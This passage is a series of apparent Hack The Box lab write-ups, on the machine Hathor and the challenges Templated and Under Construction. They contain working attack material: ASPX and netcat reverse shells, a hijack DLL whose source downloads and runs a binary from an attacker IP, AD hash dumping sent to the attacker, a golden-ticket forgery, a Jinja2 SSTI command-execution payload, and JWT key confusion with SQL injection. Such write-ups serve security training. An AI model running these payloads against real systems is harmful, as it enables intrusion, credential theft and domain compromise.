On the file manager page at `http://windcorp.htb/FileManager?view=fullpage` we can copy, edit, and upload files:
We can generate a reverse shell using `msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=46738 -f aspx > meterpreter.aspx`, but for some reason this doesn't work. So, instead I used [this reverse shell script](https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx).
Attempting to upload this file gives us an error since `aspx` files are not allowed:
In the file manager we can edit the file at `/htmlfragments/fragment1.htm` and replace its contents with the reverse shell:
Then, we copy the file to `/htmlfragments/shell.aspx`, which appears to work. It doesn't appear in the file browser due to a content filter that blocks ".aspx" files.
If we go to the "Content Manager" at `http://windcorp.htb/Admin/ContentCatalog.aspx`, we can edit the home page, which has the "Under Construction" image on it. If we view the properties of that image we can view its path:
The `underconstruction.png` was located in the root of the file explorer, so we can assume that the path `/Data/Sites/1/media/` brings us to the root of the file explorer. Therefore, our shell is at `/Data/Sites/1/media/htmlfragments/shell.aspx`.
We start a listener with `nc -nvlp 8344` and navigate to `http://windcorp.htb/Data/Sites/1/media/htmlfragments/shell.aspx` to get a reverse shell!
## Foothold
We run `dir C:\` and notice a strange directory called `Get-bADpasswords`:
```
Directory of C:\Get-bADpasswords
10/03/2021 06:38 PM .
09/29/2021 08:18 PM Accessible
10/03/2021 06:44 PM 11,606 CredentialManager.psm1
03/21/2022 03:59 PM 20,320 Get-bADpasswords.ps1
09/29/2021 06:53 PM 177,250 Get-bADpasswords_2.jpg
10/03/2021 06:44 PM 5,096 Helper_Logging.ps1
10/03/2021 06:44 PM 6,473 Helper_Passwords.ps1
09/29/2021 06:53 PM 149,012 Image.png
09/29/2021 06:53 PM 1,512 LICENSE.md
10/03/2021 06:37 PM 0 New Text Document.txt
10/03/2021 06:44 PM 4,411 New-bADpasswordLists-Common.ps1
10/03/2021 06:44 PM 4,247 New-bADpasswordLists-Custom.ps1
10/03/2021 06:44 PM 4,403 New-bADpasswordLists-customlist.ps1
10/03/2021 06:44 PM 4,652 New-bADpasswordLists-Danish.ps1
10/03/2021 06:44 PM 4,506 New-bADpasswordLists-English.ps1
10/03/2021 06:44 PM 4,655 New-bADpasswordLists-Norwegian.ps1
09/29/2021 06:54 PM PSI
09/29/2021 06:53 PM 6,567 README.md
03/18/2022 04:57 PM 3,922 run.vbs
09/29/2021 06:54 PM Source
16 File(s) 408,632 bytes
4 Dir(s) 9,174,769,664 bytes free
```
Searching for this tool online finds [improsec/Get-bADpasswords](https://github.com/improsec/Get-bADpasswords). According to its README, "this module is able to compare password hashes of enabled Active Directory users against bad/weak/non-compliant passwords (e.g. hackers first guess in brute-force attacks)."
We look around this folder and find a logs directory at `C:\Get-bADpasswords\Accessible\Logs`:
```
Directory of C:\Get-bADpasswords\Accessible\Logs
03/18/2022 05:40 AM .
09/29/2021 08:18 PM ..
10/03/2021 05:35 PM 1,331 log_windcorp-03102021-173510.txt
10/03/2021 06:07 PM 1,331 log_windcorp-03102021-180635.txt
10/03/2021 06:21 PM 1,217 log_windcorp-03102021-182114.txt
10/03/2021 06:23 PM 1,217 log_windcorp-03102021-182259.txt
10/03/2021 06:28 PM 1,331 log_windcorp-03102021-182627.txt
10/03/2021 06:52 PM 1,331 log_windcorp-03102021-185058.txt
10/04/2021 11:37 AM 1,331 log_windcorp-04102021-113140.txt
10/05/2021 06:40 PM 1,331 log_windcorp-05102021-183949.txt
03/17/2022 05:40 AM 846 log_windcorp-17032022-044053.txt
03/18/2022 05:40 AM 846 log_windcorp-18032022-044046.txt
10 File(s) 12,112 bytes
2 Dir(s) 9,174,097,920 bytes free
```
The log file `log_windcorp-05102021-183949.txt` indicates that the user `BeatriceMill` has a weak password.
```
05.10.2021-18:39:50 info Version: 'Get-bADpasswords v3.03'.
05.10.2021-18:39:50 info Log file: '.\Accessible\Logs\log_windcorp-05102021-183949.txt'.
05.10.2021-18:39:50 info CSV file: '.\Accessible\CSVs\exported_windcorp-05102021-183949.csv'.
05.10.2021-18:39:50 info Testing versioning for files in '.\Accessible\PasswordLists'...
05.10.2021-18:39:50 info 'weak-passwords-common.txt' repack is up to date...
05.10.2021-18:39:50 info 'weak-passwords-da.txt' repack is up to date...
05.10.2021-18:39:50 info 'weak-passwords-en.txt' repack is up to date...
05.10.2021-18:39:50 info 'weak-passwords-no.txt' repack is up to date...
05.10.2021-18:39:50 info Replicating AD user data with parameters (DC = 'hathor', NC = 'DC=windcorp,DC=com')...
05.10.2021-18:39:55 info The AD returned 3537 users.
05.10.2021-18:39:56 info Testing user passwords against password lists...
05.10.2021-18:40:52 info Finished comparing passwords.
05.10.2021-18:40:53 info Found 1 user(s) with weak passwords.
05.10.2021-18:40:53 info Matched password found for user 'BeatriceMill' in list(s) 'leaked-passwords-v7'.
05.10.2021-18:40:54 info Found a total of '0' user(s) with empty passwords
05.10.2021-18:40:54 info Found a total of '1' user(s) with weak passwords
05.10.2021-18:40:54 info Found a total of '' user(s) with shared passwords
```
In the `C:\Get-bADpasswords\Accessible\CSVs` directory, we read the `exported_windcorp-05102021-183949.csv` file, which has a password hash:
```
Activity;Password Type;Account Type;Account Name;Account SID;Account password hash;Present in password list(s)
active;weak;regular;BeatriceMill;S-1-5-21-3783586571-2109290616-3725730865-5992;9cb01504ba0247ad5c6e08f7ccae7903;'leaked-passwords-v7'
```
Putting `9cb01504ba0247ad5c6e08f7ccae7903` into [CrackStation](https://crackstation.net/) reveals that hash is an NTLM hash and that the password is `!!!!ilovegood17`.
So, now we have a valid set of credentials `BeatriceMill:!!!!ilovegood17`.
## Getting User
With our new credentials we are able to dump LDAP by running `ldapsearch -x -H ldap://windcorp.htb -D 'windcorp\BeatriceMill' -w '!!!!ilovegood17' -b "DC=windcorp,DC=htb" > ldap_results.txt`, but this doesn't give us much information: [ldap\_results.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Hathor/ldap_results.txt)
We run `net view \\hathor`, which shows us a `share` SMB share:
```
Shared resources at \\hathor
Domain controller
Share name Type Used as Comment
-------------------------------------------------------------------------------
NETLOGON Disk Logon server share
share Disk
SYSVOL Disk Logon server share
```
We can mount this share by running `net use x: \\hathor\share` (from [this SuperUser answer](https://superuser.com/a/274641)). However, if we try to read it with `dir X:\` we get "Access is denied." We can run `net use x: /delete` to unmount the share.
Let's try with the `BeatriceMill` user: `net use x: \\hathor\share /user:windcorp.htb\BeatriceMill !!!!ilovegood17` (command from [this SuperUser answer](https://superuser.com/a/727949))
Contents of the share:
```
c:\windows\system32\inetsrv>dir X:
dir X:
Volume in drive X has no label.
Volume Serial Number is BE61-D5E0
Directory of X:\
08/06/2022 10:49 PM .
03/15/2018 03:17 PM 1,013,928 AutoIt3_x64.exe
09/19/2019 10:15 PM 4,601,208 Bginfo64.exe
03/21/2022 11:22 PM scripts
2 File(s) 5,615,136 bytes
2 Dir(s) 9,166,626,816 bytes free
c:\windows\system32\inetsrv>dir X:\scripts
dir X:\scripts
Volume in drive X has no label.
Volume Serial Number is BE61-D5E0
Directory of X:\scripts
03/21/2022 11:22 PM .
08/06/2022 10:49 PM ..
03/21/2022 03:43 PM 1,076,736 7-zip64.dll
10/18/2012 10:02 PM 54,739 7Zip.au3
10/06/2012 11:50 PM 2,333 ZipExample.zip
10/07/2012 01:15 PM 1,794 _7ZipAdd_Example.au3
10/07/2012 01:17 PM 1,855 _7ZipAdd_Example_using_Callback.au3
10/07/2012 03:37 AM 334 _7ZipDelete_Example.au3
10/07/2012 03:38 AM 859 _7ZIPExtractEx_Example.au3
10/07/2012 01:04 AM 1,867 _7ZIPExtractEx_Example_using_Callback.au3
10/07/2012 03:37 AM 830 _7ZIPExtract_Example.au3
10/07/2012 01:05 AM 2,027 _7ZipFindFirst__7ZipFindNext_Example.au3
10/07/2012 03:39 AM 372 _7ZIPUpdate_Example.au3
01/23/2022 11:51 AM 886 _Archive_Size.au3
10/07/2012 01:51 AM 201 _CheckExample.au3
10/07/2012 03:39 AM 144 _GetZipListExample.au3
11/27/2008 06:04 PM 498 _MiscExamples.au3
15 File(s) 1,145,475 bytes
2 Dir(s) 9,166,594,048 bytes free
```
We have write access to this share since we can copy a null byte to a new file within it by running `copy NUL X:\thing.txt`.
We run `Get-AppLockerPolicy -effective -xml` to see the [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) policy and determine what applications are allowed to run: We see that `%OSDRIVE%\share\Bginfo64.exe` is allowed to be executed, so we will overwrite that file with our reverse shell.
We can hijack the `7-zip64.dll` DLL file using the second exploit listed under the "Your own" header from [this HackTricks guide](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking#your-own). This will work because there is a cronjob that runs the exe in the share.
```c#
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("takeown /f C:\\share\\Bginfo64.exe");
system("icacls C:\\share\\Bginfo64.exe /grant Everyone:F /T");
system("curl.exe 10.10.14.116:5003/nc64.exe -o C:\\share\\Bginfo64.exe");
system("C:\\share\\Bginfo64.exe 10.10.14.116 45446 -e cmd.exe");
}
return TRUE;
}
```
With this DLL, we take ownership of the `Bginfo64.exe` executable, grant everyone full access to it, download a static netcat binary from our machine, and then execute that netcat binary to get a reverse shell. We compile it with `x86_64-w64-mingw32-gcc -shared windows_dll.c -o 7-zip64.dll`.
You can download the static netcat binary we use from [this page](https://github.com/int0x33/nc.exe/) ([direct link](https://github.com/int0x33/nc.exe/raw/master/nc64.exe)). Note: The netcat binary you use matters. I originally used [this one](https://github.com/cyberisltd/NcatPortable) and that failed to launch a second reverse shell, which we need to do later.
We setup a listener with `nc -nvlp 45446`. Next, we start the web server with `python -m http.server 5003`. Finally, we overwrite the current DLL with ours by running `curl.exe http://10.10.14.116:5003/7-zip64.dll -o X:\scripts\7-zip64.dll` on the target. Then, wait about a minute and you should get a reverse shell.
We are now the `windcorp\ginawild` user. We can get the `user.txt` flag with `type C:\Users\GinaWild\Desktop\user.txt`.
## Privilege Escalation (Part 1)
If we look in the recycle bin we see some files:
```
c:\share>dir C:\$Recycle.bin /A
dir C:\$Recycle.bin /A
Volume in drive C has no label.
Volume Serial Number is BE61-D5E0
Directory of C:\$Recycle.bin
02/14/2022 08:48 PM .
04/19/2022 02:45 PM ..
02/14/2022 08:48 PM S-1-5-18
10/07/2021 12:51 AM S-1-5-21-3783586571-2109290616-3725730865-2359
03/21/2022 06:13 PM S-1-5-21-3783586571-2109290616-3725730865-2663
04/20/2022 12:57 AM S-1-5-21-3783586571-2109290616-3725730865-500
0 File(s) 0 bytes
6 Dir(s) 9,161,949,184 bytes free
```
Looking in one of the folders finds a PFX file:
```
c:\share>dir C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663 /A
Volume in drive C has no label.
Volume Serial Number is BE61-D5E0
Directory of C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663
03/21/2022 06:13 PM .
02/14/2022 08:48 PM ..
03/21/2022 04:37 PM 4,053 $RLYS3KF.pfx
10/02/2021 09:01 PM 129 desktop.ini
2 File(s) 4,182 bytes
2 Dir(s) 9,161,555,968 bytes free
```
We can encode the file to base64 to easily copy paste it by running `certutil -encode -f C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx tmp.b64 && cls && type tmp.b64 && del tmp.b64`. Then, copy the text between `-----BEGIN CERTIFICATE-----` and `-----END CERTIFICATE-----` and run `xclip -o -selection clipboard | base64 -d -i > file.pfx` to decode the text on your clipboard and save it to `file.pfx`.
We cracked a PFX file in the [Timelapse](/machines/timelapse) writeup. We can do it again by running `pfx2john file.pfx > hash.txt` and then running `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`. This gives us the password `abceasyas123`.
We can assume that this certificate was used to sign the `Get-bADpasswords.ps1` file so that it would be able to run (see [powershell signing](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_signing?view=powershell-7.2) for more information).
In the `C:\Get-bADpasswords` directory we have a `run.vbs` file:
```vb
Set WshShell = CreateObject("WScript.Shell")
Command = "eventcreate /T Information /ID 444 /L Application /D " & _
Chr(34) & "Check passwords" & Chr(34)
WshShell.Run Command
'' SIG '' Begin signature block
'' SIG '' MIIIbQYJKoZIhvcNAQcCoIIIXjCCCFoCAQExCzAJBgUr
'' SIG '' DgMCGgUAMGcGCisGAQQBgjcCAQSgWTBXMDIGCisGAQQB
'' SIG '' gjcCAR4wJAIBAQQQTvApFpkntU2P5azhDxfrqwIBAAIB
'' SIG '' AAIBAAIBAAIBADAhMAkGBSsOAwIaBQAEFJAlve86BsnS
'' SIG '' /ypomIbg6P0Nreu/oIIF0zCCBc8wggS3oAMCAQICEyAA
'' SIG '' AAAFRO2qKLY23dwAAAAAAAUwDQYJKoZIhvcNAQELBQAw
'' SIG '' TjETMBEGCgmSJomT8ixkARkWA2h0YjEYMBYGCgmSJomT
'' SIG '' 8ixkARkWCHdpbmRjb3JwMR0wGwYDVQQDExR3aW5kY29y
'' SIG '' cC1IQVRIT1ItQ0EtMTAeFw0yMjAzMTgwOTAzMTFaFw0z
'' SIG '' MjAzMTUwOTAzMTFaMFcxEzARBgoJkiaJk/IsZAEZFgNo
'' SIG '' dGIxGDAWBgoJkiaJk/IsZAEZFgh3aW5kY29ycDEOMAwG
'' SIG '' A1UEAxMFVXNlcnMxFjAUBgNVBAMTDUFkbWluaXN0cmF0
'' SIG '' b3IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
'' SIG '' AQDcpj7+f5azohHfztUjiBPiSb+PDK2ONRL+mK0ubSPe
'' SIG '' ywOCig3IjExJPxQTEiD1nkXJp95ZN8/G2ByT++UI5ql4
'' SIG '' BQL8FLpJ8EhTLmfIFPAsVQBBnlAJPtqCe7QVHbPd9Yto
'' SIG '' xv/Q0y8Q4gldC+2jS8iByIdH2Dbd94hZV4DbQPzHOKFq
'' SIG '' iyu2oWv+Al4W20E4rhWKsVma6zlPosh37gnJwK5Gtv4k
'' SIG '' VE/Fb5iaiRF7Kzvn0HDryP59mIFPpEOlcNM0JOQF/Atn
'' SIG '' zT1k3kQ+ZIFC3tEnbi/Mghe7Xq3DZGqhGceTyEf/hiN8
'' SIG '' iYOwq59qkWCeNCGESohpyVmSybXhGvPglL9ZAgMBAAGj
'' SIG '' ggKbMIIClzA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3
'' SIG '' FQiC1M5wg9anaIb1kRGE6IkvhvuNZIEqgZA8guvQbQIB
'' SIG '' ZQIBADATBgNVHSUEDDAKBggrBgEFBQcDAzAOBgNVHQ8B
'' SIG '' Af8EBAMCB4AwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEF
'' SIG '' BQcDAzAdBgNVHQ4EFgQU/aQNS+ydvbd5DfjDlV6VXo1f
'' SIG '' 3jYwHwYDVR0jBBgwFoAU8Y5KpG3NgrBpXWLzY5p+i25y
'' SIG '' 9lkwgdIGA1UdHwSByjCBxzCBxKCBwaCBvoaBu2xkYXA6
'' SIG '' Ly8vQ049d2luZGNvcnAtSEFUSE9SLUNBLTEsQ049aGF0
'' SIG '' aG9yLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2
'' SIG '' aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9u
'' SIG '' LERDPXdpbmRjb3JwLERDPWh0Yj9jZXJ0aWZpY2F0ZVJl
'' SIG '' dm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JM
'' SIG '' RGlzdHJpYnV0aW9uUG9pbnQwgccGCCsGAQUFBwEBBIG6
'' SIG '' MIG3MIG0BggrBgEFBQcwAoaBp2xkYXA6Ly8vQ049d2lu
'' SIG '' ZGNvcnAtSEFUSE9SLUNBLTEsQ049QUlBLENOPVB1Ymxp
'' SIG '' YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
'' SIG '' PUNvbmZpZ3VyYXRpb24sREM9d2luZGNvcnAsREM9aHRi
'' SIG '' P2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1j
'' SIG '' ZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MDUGA1UdEQQuMCyg
'' SIG '' KgYKKwYBBAGCNxQCA6AcDBpBZG1pbmlzdHJhdG9yQHdp
'' SIG '' bmRjb3JwLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAdrEC
'' SIG '' QVltY48jKH9dHHOjLm9+fynspmzqfljFVaeQxtYMiCBx
'' SIG '' 6oh8t0zImXbj9gjhrABgC+dRmU49jhJIM0BoQzNTPrNm
'' SIG '' o8Bba4MaFfRCU2xX4wPNo0+wDvnuwKR6Tj16f085gSyB
'' SIG '' /MLx5MuN6RPiSmLSvzRTwniYei1qHvaNMegPZjp4FoW8
'' SIG '' xVNtT62oOo23vwNaChlBICKWlnhtJJf6aZXsjFN4RAfD
'' SIG '' ZWL220tkK2KA85W+LLZkEMKl46a72qPX8VI8sEvGXopN
'' SIG '' wkcQCRehQGddrA8ukIYSd2j+eMNPTE5o47Hd8BXLIFjk
'' SIG '' pCviUT/h/A3WRsLHMwsE3QFUsZugITGCAgYwggICAgEB
'' SIG '' MGUwTjETMBEGCgmSJomT8ixkARkWA2h0YjEYMBYGCgmS
'' SIG '' JomT8ixkARkWCHdpbmRjb3JwMR0wGwYDVQQDExR3aW5k
'' SIG '' Y29ycC1IQVRIT1ItQ0EtMQITIAAAAAVE7aootjbd3AAA
'' SIG '' AAAABTAJBgUrDgMCGgUAoHgwGAYKKwYBBAGCNwIBDDEK
'' SIG '' MAigAoAAoQKAADAZBgkqhkiG9w0BCQMxDAYKKwYBBAGC
'' SIG '' NwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIB
'' SIG '' FTAjBgkqhkiG9w0BCQQxFgQUaDeRNSAgeSMJNEeLOr89
'' SIG '' iodYIYYwDQYJKoZIhvcNAQEBBQAEggEAWHyN92HohJQT
'' SIG '' GiYsPx/zM7LYDjP0AZPG7OuSwl5OeNhmAmAD2Z+OkYy4
'' SIG '' TLGCThZPxVejgDG0yAyUJNzYcMLVlLROdtwNjSkqQ9IL
'' SIG '' wDya3iI4E0C3xqw7APjfFG288yaYH8gCKx3nzUsFT0pR
'' SIG '' K2l2eSFn+RAOhzHMvfi+8Gf8HgE3unZ/Yh/udLu1aTfG
'' SIG '' nKyz0JDy8hR0RETX5N8tNthiwAa2h4IR0gvgyN8OdiXj
'' SIG '' IYLnt70OCx8POhsdNUAfFFjwzlWpyoBdqifxQlH7qW8U
'' SIG '' UWJd0zS9yauHZNuv2zHTCj/sfOAQDecI2TTjRG2Syf36
'' SIG '' 2T0a0G7c2E/HJDgETEVpgg==
'' SIG '' End signature block
```
So, when this `run.vbs` file is executed it creates an event in the Windows event log ([documentation about eventcreate](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/eventcreate)). I think something picks up that event and executes the `C:\Get-bADpasswords\Get-bADpasswords.ps1` script as a different user. So, if we replace the `Get-bADpasswords.ps1` with a reverse shell and sign it with the certificate, we should get a reverse shell.
First, create a temporary directory with `mkdir C:\Temp` and then run `copy C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx C:\Temp\sign.pfx` to copy the certificate. Start a listener wtih `nc -nvlp 3997`. Next, run `cmd.exe /c "echo C:\share\Bginfo64.exe 10.10.14.116 3997 -e cmd.exe > C:\Get-bADpasswords\Get-bADpasswords.ps1"`. Then, import the pfx and sign the script by running the following with the password we found (make sure to run in powershell):
```powershell
certutil -user -p abceasyas123 -importpfx C:\Temp\sign.pfx NoChain,NoRoot
$all_certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $all_certs[0]
```
Now, just run the VBS script with `cscript C:\Get-bADpasswords\run.vbs`. After a few seconds, you should get a reverse shell as `windcorp\bpassrunner`.
## Privilege Escalation (Part 2)
For this part we perform a [Golden Ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket). To do this we need to the NTLM hash of the `KRBTGT` user, an account used for Kerberos. You can learn more about the `KRBTGT` user in [this article](https://blog.quest.com/what-is-krbtgt-and-why-should-you-change-the-password/).
We can run [Get-ADReplAccount](https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-ADReplAccount.md) with `get-adreplaccount -all -namingcontext 'DC=windcorp,DC=htb' -server hathor > hashes` to create a file called `hashes` with the hashes for many accounts.
We run the following commands to determine that the file is 42.8 MB:
```powershell
$file = "hashes"
Write-Host((Get-Item $file).length/1MB)
```
So, we run `nc -nvlp 57010 > hashes` on our machine and `cmd /c "C:\share\Bginfo64.exe 10.10.14.116 57010 < hashes"` on the target too download the file. Tip: Use a command like `watch ls -lh hashes` to watch the file transfer progress.
Looking at the `hashes` file we find that the `krbtgt` NTLM hash is `c639e5b331b0e5034c33dec179dcc792`. Now, we can request a ticket as the `Administrator` user by running `ticketer.py -nthash c639e5b331b0e5034c33dec179dcc792 -domain-sid S-1-5-21-3783586571-2109290616-3725730865 -domain windcorp.htb Administrator`.
Then, we store the path to the ticket by running `export KRB5CCNAME=administrator.ccache`. Finally, we run `wmiexec.py -no-pass -k -dc-ip hathor.windcorp.htb windcorp.htb/administrator@hathor.windcorp.htb` to get a shell as the `Administrator` user. Then, just execute `type C:\Users\Administrator\Desktop\root.txt` to get the `root.txt` flag.
# Templated
Navigating to the website simply displays a message "Site still under construction / Proudly powered by Flask/Jinja2." The challenge is called "Templated" and Jinja2 is used so this is a Jinja2 template injection.
Trying to go to a different page, like `/test`, displays an interesting 404 error "Error 404 / The page 'test' could not be found." Trying other pages shows that we have control over the output `'test'` on the 404 page.
Let's try the standard server-side template injection (SSTI): `{{7*7}}`. Navigating to `/{{7*7}}` displays "The page '49' could not be found". So, the url is vulnerable.
We can find an SSTI payload from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2). For instance, `{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}` allows us to execute arbitrary commands.
Navigating to `/{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() }}` displays the contents of the `/` directory: "The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' could not be found."
So, let's not `cat flag.txt` by going to `/{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}`. This displays the flag:
`HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}`
# Under Construction
Downloading the source code and digging around reveals the following code in `helpers/JWTHelper.js`:
```js
module.exports = {
async sign(data) {
data = Object.assign(data, {pk:publicKey});
return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
},
async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}
}
```
Both the "RS256" and "HS256" algorithms are allowed for decryption. This is CVE-2016-5431/CVE-2016-10555.
See my ["Cyber Santa is Coming to Town" CTF 2021 writeup for the Naughty or Nice challenge](https://github.com/HHousen/HTB-CyberSanta-2021/blob/master/Web/Naughty%20or%20Nice/README.md), which details this exact exploit. This part of this guide is largely the same as the first part of the "Naughty or Nice" writeup.
The HS256 algorithm is symmetric, which means it uses the sane secret key to sign and verify each message. The RS256 algorithm is asymmetric, which means it uses a private key to sign the message and a public key for verification. However, if we change the algorithm from RS256 to HS256, the backend code will use the public key as the symmetric secret key. In other words, the HS256 algorithm will be used to verify the signature with the public key as the HS256 secret key. We know the public key so we can, in theory, easily modify the JWT and sign it.
However, before we can do this we need to get the JWT token and get the public key. So, make an account on the website, open up your browser's cookie page in the developer tools, and copy the `session` cookie. We can use [JWT.io](https://jwt.io/) or [ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool) to decode the cookie.
`python jwt_tool.py "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2NDQ5ODM2MzJ9.E3BfhVQHAM5l9ty1lqu8mYI9GqgaVtTsTtDSaezxXQuCRhBBoiz4KVFNEAxaS7gfnJegVgFSHFgF1UBDFaS6ucVrkUHAz6ERlLZtAx8z1D_pSTsg-f4Euxldj03yq4UBMcH399iIcADUjOXbLhO6Qnw9U309aOW2_NmZDOGZjhYhZewEfHH1kCqHFuaaZisKroV1TUoa-DONxxADlseuGbgXBg081ICspqA7Bw9mvZSNM1P8DplmvPh71UldWU3k2G4t-g3t2SaE07T1l74jlvfJPByXcI52gcgqQtL9zKaicSV0mk0fNcLPmfZqXp30qX0UBf3bd4vhiYfgFY44jg"`:
```
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] typ = "JWT"
Token payload values:
[+] username = "test"
[+] pk = "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----
"
[+] iat = 1644983632 ==> TIMESTAMP = 2022-02-15 22:53:52 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
```
Fortunately for us, the public key is encoded in the JWT. Let's save that to a file called `pub.key`.
There are an abundance of ways that you can perform the RS256-to-HS256 exploit: [3v4Si0N/RS256-2-HS256](https://github.com/3v4Si0N/RS256-2-HS256), [ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool), manually via [JWT.io](https://jwt.io/), by running the commands in [this excellent guide](https://habr.com/en/post/450054/). However, you have to be very careful about newlines in the public key. Anyway, we will use [ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool) in this guide.
We still need to figure out how to get the flag though. Looking at `helpers/DBHelper.js` we see that the `getUser` function is vulnerable to SQL injection:
```js
getUser(username){
return new Promise((res, rej) => {
db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
if (err) return rej(err);
res(data);
});
});
}
```
We can directly control what goes in `${username}`.
So, in `routes/index.js` we see that when someone accesses the main page, we call the `DBHelper.getUser` with the user's `username`, which we control. (The actual decoding of the JWT and getting the username is handled by `middleware/AuthMiddleware.js`.)
```js
router.get('/', AuthMiddleware, async (req, res, next) => {
try{
let user = await DBHelper.getUser(req.data.username);
if (user === undefined) {
return res.send(`user ${req.data.username} doesn't exist in our database.`);
}
return res.render('index.html', { user });
}catch (err){
return next(err);
}
});
```
Thus, we can perform a SQL injection by changing the username field of the JWT.
Let's use `jwt_tool` to perform the JWT confusion exploit the JWT we got from the website: `python jwt_tool.py [[JWT]] -I -pc username -pv hacked -X k -pk pub.key`. This syntax means the following (read more by running `python jwt_tool.py --help`):
* `-I`: Inject new claims (or in our case update the `username` claim).
* `-pc`: The claim to tamper with.
* `-pv`: The new value to inject into the tampered claim.
* `-X`: Exploit and `k` stands for the key confusion exploit.
* `-pk`: The public key to use for signing the token with the key confusion exploit specified by `-X`.
Putting the new JWT into the website (through the developer tools) produces the erorr message "user hacked doesn't exist in our database," which is exactly what was expected because of the line ``return res.send(`user ${req.data.username} doesn't exist in our database.`);`` in the `router.get('/')` function.
Now we need to figure out what value to put in the `username` value in the JWT so that we can read the database. We are going to want to use a "union select" sql injection since our SQL statement starts with `SELECT * FROM users WHERE username = '[WE CONTROL THIS]'`.
